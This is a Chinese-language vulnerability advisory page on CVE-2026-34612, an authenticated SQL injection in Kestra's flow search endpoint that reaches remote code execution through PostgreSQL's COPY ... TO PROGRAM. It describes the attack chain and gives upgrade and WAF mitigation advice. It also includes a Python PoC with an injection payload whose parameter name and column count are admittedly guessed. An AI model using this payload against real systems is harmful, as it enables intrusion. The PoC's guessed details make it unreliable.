IPBUF安全漏洞报告
English
CVE-2026-34612 CVSS 9.9 严重

CVE-2026-34612 Kestra SQL注入致远程代码执行漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-34612
漏洞类型
SQL注入
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kestra

相关标签

SQL注入RCEKestraCVE-2026-34612PostgreSQL

漏洞概述

Kestra是一个开源的事件驱动编排平台。在1.3.7版本之前,其默认docker-compose部署中的“GET /api/v1/main/flows/search”端点存在SQL注入漏洞。攻击者在获得低权限用户认证后,仅需访问恶意链接即可触发该漏洞。注入的恶意载荷通过PostgreSQL的“COPY ... TO PROGRAM ...”功能执行,从而在宿主机上运行任意操作系统命令,实现远程代码执行。该漏洞利用难度低且危害极大,建议尽快升级以修复此安全隐患。

技术细节

该漏洞源于Kestra在处理`/api/v1/main/flows/search`接口的请求参数时,未能对用户输入进行严格的过滤和安全校验,从而引发了SQL注入漏洞。由于Kestra默认使用PostgreSQL数据库,且在docker-compose等默认部署场景下,数据库连接配置可能具有较高权限,攻击者可以利用这一缺陷。具体的利用方式是通过注入精心构造的SQL语句,调用PostgreSQL特有的`COPY ... TO PROGRAM ...`命令。此命令原本用于数据库数据导出,但在此处被滥用,它允许将SQL查询的结果直接传递给操作系统的Shell进行执行。攻击者只需发送一个包含此类恶意SQL片段的HTTP GET请求,且该请求附带有效的低权限用户认证信息,服务器后端便会解析并执行该命令。整个过程无需目标用户的进一步交互,攻击者即可在服务器上执行任意系统命令,实现从SQL注入到远程代码执行(RCE)的跨越,完全控制受影响的主机。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者通过钓鱼或其他方式获取Kestra平台的低权限用户凭证。
STEP 2
步骤2:构造恶意请求
攻击者利用获取的凭证,构造包含SQL注入Payload的GET请求,针对"/api/v1/main/flows/search"端点。
STEP 3
步骤3:触发SQL注入
服务器后端接收到请求并将参数拼接到SQL查询中,由于未做过滤,导致恶意SQL语句在PostgreSQL数据库中执行。
STEP 4
步骤4:执行系统命令
利用PostgreSQL的"COPY ... TO PROGRAM ..."功能,数据库将查询结果传递给系统Shell执行,导致攻击者在宿主机上运行任意OS命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-34612 PoC: Kestra SQL Injection to RCE # Target: Kestra < 1.3.7 # Endpoint: GET /api/v1/main/flows/search target_url = "http://vulnerable-host:8080/api/v1/main/flows/search" # Replace with a valid authentication token (low privilege is enough) auth_token = "Bearer YOUR_JWT_TOKEN_HERE" # Payload to execute 'touch /tmp/pwned' using PostgreSQL COPY TO PROGRAM # Note: This depends on the table structure, UNION injection is used here as an example payload = "' UNION SELECT 1,2,3,4,5,6,7; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned'--" headers = { "Authorization": auth_token } params = { "q": payload # Assuming 'q' is the vulnerable parameter based on search endpoint context } try: print(f"Sending payload to {target_url}...") response = requests.get(target_url, headers=headers, params=params, timeout=10) if response.status_code == 200: print("Request sent successfully. Check if command executed on host.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Kestra < 1.3.7

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)拦截包含SQL关键字(如UNION, COPY, PROGRAM)的请求流量,或者暂时禁用受影响端点的访问权限,直到完成升级。同时,应检查系统日志以确认是否已被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表